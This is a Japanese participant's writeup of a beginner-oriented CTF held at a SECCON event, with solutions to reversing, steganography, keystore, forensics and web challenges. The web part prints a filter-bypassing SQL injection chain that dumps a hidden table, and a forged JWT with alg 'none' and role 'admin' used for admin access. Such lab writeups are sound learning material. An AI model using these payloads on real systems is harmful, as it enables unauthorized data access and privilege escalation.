4-Girls Petit CTF writeup!

# 概要

2023/12/23にSECCON電脳会議内で実施された、4-Girls Petit CTF（電脳会議内のイベント名は「【女性限定】CTFハンズオン (大会形式・初心者歓迎)」）に参加してきました！

https://www.seccon.jp/2023/ep231223.html

最終的に、web 200, 300のfirst bloodと全体2位を取ることができました🥳 writeup書いてもいいようなので整理がてら書いておきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/5c3a04d5-c3c3-d0c7-28f4-4bdc697ce291.png)

## 環境

WindowsPC+kali linux(WSL)で、基本的にはkali上で解いていました。GUIがほしいときは`kex`でRDPするかWindows側から直接kali内のアプリを呼び出すかという感じ。
（前々からノートPCを買い替えたかったのもありこの機に新しいのを買ったのですが、配送が1日間に合わず持っていけませんでした……無念）

# [Tutorial] Welcome (100pt)

> 初心者の方向けに練習の場をご用意しました（知ってるよ！って方もしばしお付き合いください）
> 
> 
> CTFでは問題を解く中で以下のような文字列が手に入ることがあります。これを「フラグ」と呼びます。
> 
> この問題のフラグ：`ctf4g{Happy_10th_anniversary!}`
> 
> この場合は記号の部分 ctf4g{} を含めたすべての文字列を下のフォームに入力して「submit」をクリックします。正解すればポイントが獲得できます。フラグにはアルファベットと数字と記号が含まれますが大文字/小文字は気にしなくて大丈夫です。
> 
> まずは試してみましょう！ついでに↓のヒントも見てね。
> 

``` :flag
ctf4g{Happy_10th_anniversary!}
```

# [Reversing] banner4you (100pt)

> Flag is hidden somewhere…
> file: banner4you
> 

`file` コマンドよりELF実行ファイル。とりあえず `strings` するとflagが見えた。

```
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ file banner4you 
banner4you: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4cbe29832e30c66e3ee08bcaf04e36ca5132077c, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                                        
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ strings banner4you 
/lib64/ld-linux-x86-64.so.2
stdout
__libc_start_main
fprintf
__cxa_finalize
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
What does this drawn by ChatGPT look like?
ctf4g{S4nt4_C14us}
;*3$"
   *    *
  / \__/ \
 (  @  @  )
   \  ^  /
    |||||
    |||||
GCC: (Debian 13.2.0-5) 13.2.0
Scrt1.o
__abi_tag
crtstuff.c

[略]
```

``` :flag
ctf4g{S4nt4_C14us}
```

# [Reversing] Find me (200pt)

> フラグはどこにある？
> file: findme
> 

前問と同じくELFファイルだが、`strings`ではflagっぽいものが見えない。IDAで開くと、何かの処理をして最終的に`L[I;Ht>?y<>vP9>a9<}m}<;kr` になる文字列（ `secret_message_enc`）がflagっぽい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/a367306a-d496-7def-cdfc-9b2652cb52da.png)

F5キーでデコンパイルを試すと、以下のコードが出てきた。

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 24; ++i )
    secret_message_enc[i] ^= 0xFu;
  puts("Find me in memory!");
  return 0;
}
```

`0xf`でxorしているっぽい。もう一度xorすると元に戻るはずなので、cyberchefにお願いした。

https://gchq.github.io/CyberChef/#recipe=XOR(%7B'option':'Hex','string':'f'%7D,'Standard',false)&input=TFtJO0h0Pj95PD52UDk%2BYTk8fW19PDtrcg

``` :flag
CTF4G{10v31y_61n63rbr34d}
```

# [Misc] この模様はなーんだ？ (100pt)

> この画像からフラグを取得してみましょう
> file: misc_first.png
> 

![misc_first.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/5260dda9-e866-f4e6-b197-d7c9e2683863.png)

謎の画像をgoogleの画像検索に掛けると、以下のサイトに似たような画像があった。MaxiCodeと呼ばれる2次元コードの一種とのこと。

https://www.mediaseek.co.jp/barcode/10570/

ネットにスキャナがあったので問題の画像を放り込むと、flagが取得できた。

https://www.dynamsoft.com/barcode-reader/barcode-types/maxicode/

``` :flag
ctf4g{Hotwine0rHotChocolate?}
```

# [Misc] christmas card (200pt)

> Flag is hidden in this christmas card.
> file: christmascard.png
> 

![christmascard.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/abe03ab7-92a1-552a-4974-9818f70389dd.png)


exifなど、ぱっと見えるところにはなさそう。特定の色を取り出すとかかなあということで、以下サイトに放り込む。

https://stegonline.georgeom.net/image

適当にボタンを押していたところ、[LSB half]選択時にflagが出てきた。（各最下位ビットだけ取り出した場合……という意味でいいのだろうか）

``` :flag
ctf4g{3nj0y_5te9}
```

# [Misc] 3keywords (300pt)

> 仲間と協力してキーワードを見つけてください。 見つけたキーワードをアルファベット（辞書）順に並べたとき、導き出される場所があります。
> 
> 
> その場所の公式サイトのセカンドレベルドメインがフラグです。
> 
> 例）たとえば答えが「浅草橋ヒューリックホール＆カンファレンス」なら、公式サイトは https://hulic-hall.com/ なので、フラグは ctf4g{hulic-hall} となります。
> 

周りの人と協力しないと解けない、という珍しい問題。

今回のCTF4Gでは、入場時に10周年仕様のステッカー（かわいい）が配られていた。よく見ると文字列などが書いてあり、3種類あるこれらをすべて確認しないと解けない仕様だった。

基本的にひとり1枚だが、終了後に景品として3種類ともいただけたので貼っておく。（右上のPWNも入場時にもらえたもの。これは問題には関係ない。かわいい）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/7696484b-0b8f-49ac-1a52-0fc73740cf9b.png)

それぞれの内容とキーワードを求めた結果は以下。

| ステッカーの内容 | デコード方法 | 解答 |
| --- | --- | --- |
| 0x73 0x65 0x63 0x74 | ASCII | sect |
| 5 14 3 15 21 18 1 7 5 | アルファベット順（aが1） | encourage |
| -... . .- -.. … | 欧文モールス信号 | beads |

問題文の通りアルファベット順にすると "beads encourage sect"。これについては同じテーブルの方々と解いていたのだが、ここで詰まってしまった。文字列でググったりmap検索しても出てこない。

しばらく経った後、同じテーブルの方が「[what3words](https://what3words.com/ja/about)」というサイトを発見。3単語で場所を指定するというものらしい。初めて知った……

what3wordsのサイトで3単語を入力すると「[サンタクロース村](https://santaclausvillage.jp/santavillage/)」がヒットした。

``` :flag
ctf4g{santaclausvillage}
```

# [Crypto] Do not use the default password! (100pt)

> 世の中には暗号鍵を扱うツールやキーストアの仕組みは色々ありますが、その中でもおちゃめなデフォルトパスワードを持つものがあります。
> 
> 
> 有名なデフォルトパスワードを持つ鍵ストア「mykeystore.zip」をお渡ししますので、パスワードを推測して中身を見てみてください。
> file: mykeystore.zip
> 

与えられたzipファイルを解凍するとキーストアファイルが入っている。"keystore default password" でググると以下がヒットした。

https://tworks55.hatenablog.com/entry/2020/05/31/190926

あとはコマンドを調べて`changeit`をパスワードに指定すると、無事中を見ることができた。OwnerやIssuerにflagが入っている。

```
└─$ keytool -list -v -storepass changeit -keystore mykeystore 
Keystore type: PKCS12
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: ctf4g-flagisinside
Creation date: Dec 6, 2023
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=ctf4g{holidayiscoming2023}, OU=10 years anniversary, O=SECCON, C=JP
Issuer: CN=ctf4g{holidayiscoming2023}, OU=10 years anniversary, O=SECCON, C=JP
Serial number: 59f3c64b
Valid from: Wed Dec 06 15:46:03 JST 2023 until: Mon Jun 03 15:46:03 JST 2024
Certificate fingerprints:
         SHA1: 9E:BA:9F:53:79:AB:9F:FA:AE:4C:AE:29:8D:B9:87:A0:4E:23:FB:10
         SHA256: E1:3A:B2:03:02:12:01:1D:40:B5:D0:87:4A:46:3C:20:0C:BC:93:07:86:D7:6E:63:83:CE:36:DC:9D:12:DF:77
Signature algorithm name: SHA256withDSA
Subject Public Key Algorithm: 2048-bit DSA key
Version: 3

Extensions: 

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: E1 9A 39 65 B7 35 3A AA   35 51 4D BF 29 4D 5D 88  ..9e.5:.5QM.)M].
0010: 01 2E 9D 5F                                        ..._
]
]

***
***
```

``` :flag
ctf4g{holidayiscoming2023}
```

# [Forensics] Snow covered (100pt)

> flagは雪の中に埋めてしまった。
> file: snowcovered.pdf
> 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/c51321ce-6d9d-c518-a63f-995f3f412e77.png)


パワポとかで開いて画像を退けるやつだ！というのは分かったものの、officeない場合はどうするんだっけ……としばらく悩む。参加できなかった午前中の講義のテキストも見られる状態にしていただいていたのだが、そこに`foremost`コマンドが載っていた。

```
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ foremost snowcovered.pdf 
Processing: snowcovered.pdf
|*|
```

生成されたoutputディレクトリの中の画像ファイルを見ると、3ファイルに分けてflagらしき文字列があるのを発見。つなげてsubmitした。

```
ctf4g{PdFw0nd3rLan:D}
```

# [Web] トナカイ専用 (100pt)

> トナカイが使うブラウザでしか閲覧できないサイトです
> 
> 
> [webapp URL]
> 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/cb46d4e3-6c6e-c451-408d-c3d118fc39bf.png)

かわいい。
ブラウザ指定ということは`User-Agent`を変えろということっぽいので、Burp SuiteでInterceptして以下のように書き換えた。

`User-Agent: ReindeerBrowser`

これでレスポンスとしてflagが返ってきた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/3c052356-11e0-5964-e787-ec261893401b.png)

``` :flag
ctf4g{y0u_ar3_th3_r3d-n0s3d_r31nd33r}
```

# [Web] Escape (200pt)

> サンタさんの担当エリアを確認するサイトがあるけどどうやら脆弱性があるみたい。 サンタさんのサーバから隠された情報を探してプレゼントをゲットしてやるぞ。
> 
> 
> まずは、Kyotoの担当を調べてみよう。
> 
> [webapp URL]
> 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/a775b02d-bfc1-ad80-77c9-aa649a0897e1.png)


SQLインジェクションしろということらしい。
入力を試したところ、いくつかのエスケープ処理があることが分かった。エスケープ後の文字列を出力してくれるしSQLエラーも出してくれる、優しい。

- スペースが削除される
- `or`が絵文字🎅🤶🎁に変換される

ただし、それぞれ以下でバイパスできる。

- スペースの代わりに`/**/`（コメントアウト）を使う
- 大文字の `OR`を使う

### 1. `OR` で全データ？を出力させる

``` :input
'OR/**/1=1/**/#a
```

雑にインジェクションしてみる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/7ac4ad32-cce8-a9bf-1d4f-3b96e4642082.png)

それっぽいものが出てきた……のだが、途中で切れている。ここの出力に文字数制限があるか、別のテーブルがあるかのどちらかだと予想。
どちらを確かめるにしろ`union`を使いたいので、列数を揃えるために列数を取得する必要がある。

### 2. `SantaClauses`テーブルの列数を取得する

以下のような形で`null`を増やしていったところ、4つでエラーが出なくなった。

```
'/**/union/**/select/**/null,null,null,null/**/#a
```

ついでに適当な`null`を`'a'`に変えて、少なくとも3つ目は画面に出力されることを確認した。

### 3. テーブル名を確認する

``` :input
'/**/union/**/select/**/null,null,table_name,null/**/from/**/information_schema.tables/**/#a
```

`information_schema.tables`からテーブル名を取得すると、デフォルトのもの以外に以下2つが確認できる。

``` :output(抜粋)
SantaClauses	
SecretSanta
```

### 4. カラム名を確認する

まず`SantaClauses`テーブルについて確認。

``` :input
'/**/union/**/select/**/null,null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='SantaClauses'/**/#a
```

カラム名を見るに、出力に使われていたのはこのテーブルっぽい。

``` :output
id	
position	
santaname	
area
```

次に`SecretSanta`を確認。

``` :input
'/**/union/**/select/**/null,null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='SecretSanta'/**/#a
```

明らかに怪しいカラムがある。

``` :output
id	
position	
santaname	
secret
```

### 5. SecretSantaテーブルを出力する

怪しい`secret`を出力させる。

``` :input
'/**/union/**/select/**/null,null,secret,null/**/from/**/SecretSanta/**/#a
```

残りのflagが出てきた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/a5f8bf40-f32f-d076-793b-945fe663477b.png)

``` :flag
ctf4g{Chr1stm@s_Pre5ent:)}
```

# [Web] SecretKey (300pt)

> Alice「シークレットセールはしめ切っちゃったみたい。なんとかセールに参加できないかなあ。」
> 
> 
> ID: alice PW: p@ssw0rd!
> 
> [webapp URL]
> 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/fb2cea53-f431-299a-97c1-a5611237f7c6.png)

お知らせ一覧が表示されている。それぞれのURLが104xx.htmlだったので、Burp SuiteのIntruderを用いて00〜99をブルートフォースする。10458.htmlにシークレットセールのログイン画面があるのを確認できた。


とりあえず問題文にあるクレデンシャルでログインしてみるが、ログイン後画面にてシークレットセールは終わっていると言われてしまう。

URLをいじったりレスポンスを眺めたりしていたところ、cookieの形に見覚えがあることに気が付いた。

```
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAzMzA5NTExMTk1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDMzMDk1MTF9.2zM1DTX3frFLKsIeh9pPH14DkRKgGkl-yxc7JY_kSkY; path=/; httponly
```

適当に先頭の`eyJ0e`でググるとJWTだった。JWTといえばデコードしてセッション情報を書き換える方法がありがちなので、とりあえずデコードサイトに発行されたcookieを突っ込む。

https://jwt.io/#debugger-io?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAzMzA5NTExMTk1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDMzMDk1MTF9.2zM1DTX3frFLKsIeh9pPH14DkRKgGkl-yxc7JY_kSkY

`role`でいかにも権限を指定していそうだったので、ここを例えば`admin`にすることを考える。更に、中身をいじるためにはアルゴリズムを`none`にして検証回避する必要がある。
pythonの`pyjwt`を使うのが楽なようなので、これを使って`role: admin`かつアルゴリズムが`none`のJWTを生成する。

```
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ python           
Python 3.11.6 (main, Oct  8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyjwt
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'pyjwt'
>>> import jwt
>>> d = {"auth": 1703309878039,"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36","role": "admin","iat": 1703309878}
>>> jwt.encode(payload=d, algorithm="none")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: PyJWT.encode() missing 1 required positional argument: 'key'
>>> jwt.encode(payload=d, key="", algorithm="none")
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzAzMzA5ODc4MDM5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzAzMzA5ODc4fQ.'
```

Burp Suiteを使ってcookieを生成したものに変更すると、管理者ページが表示されてflagを取得することができた。

``` :request
GET /10458private HTTP/1.1
Host: 27.133.129.25:43000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://27.133.129.25:43000/10458private
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzAzMzA5ODc4MDM5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzAzMzA5ODc4fQ.
Connection: close
```

``` :response
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>管理者ページ</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.2.0/united/bootstrap.min.css">
    <style type="text/css">
      .form-signin {
        width: 100%;
        max-width: 420px;
        padding: 15px;
        margin: auto;
      }
    </style>
  </head>
  <body>
    <div class="text-center"><h1>管理者としてログインしました！</h1></div>
    <div class="text-center"><span>ctf4g{5nt@'s_s@ck!}</span></div>
    <form class="form-signin" action="/10458logout" method="GET">
      <div class="text-center mb-4">
        <input type="submit" class="btn btn-danger" value="logout" />
      </div>
    </form>
  </body>
</html>
```

``` :flag
ctf4g{5nt@'s_s@ck!}
```

# かんそう

地方住みゆえ参加するかどうかずっと悩んでいたのですが、めちゃくちゃ楽しかったので来れてよかったです！！飛行機の時間的に午前は参加できず、午後からの参加でした。協力が必須の問題（3keywords）を始めとして、面白い問題ばかりで良かったです。3keywordsについては同テーブルの方々と悩む時間がそこそこ長かったので、解法が出てきたときにテーブル内がとても盛り上がりました。

嬉しかったのでこちらにも書きますが、first bloodと全体2位ということでアクセサリー（キーホルダー？）や中島明日香さんのサイン本をいただいてしまいました。ありがとうございます👏

https://x.com/sa_hm490/status/1738540405279576395?s=20

終了すこし前にランキングを見たときは1位だったので喜んでいたんですが、終わってみたら抜かれてました。ちょっとくやしい。100pt問題しか解けてない分野もあるので、いただいた本でちゃんと勉強したいです。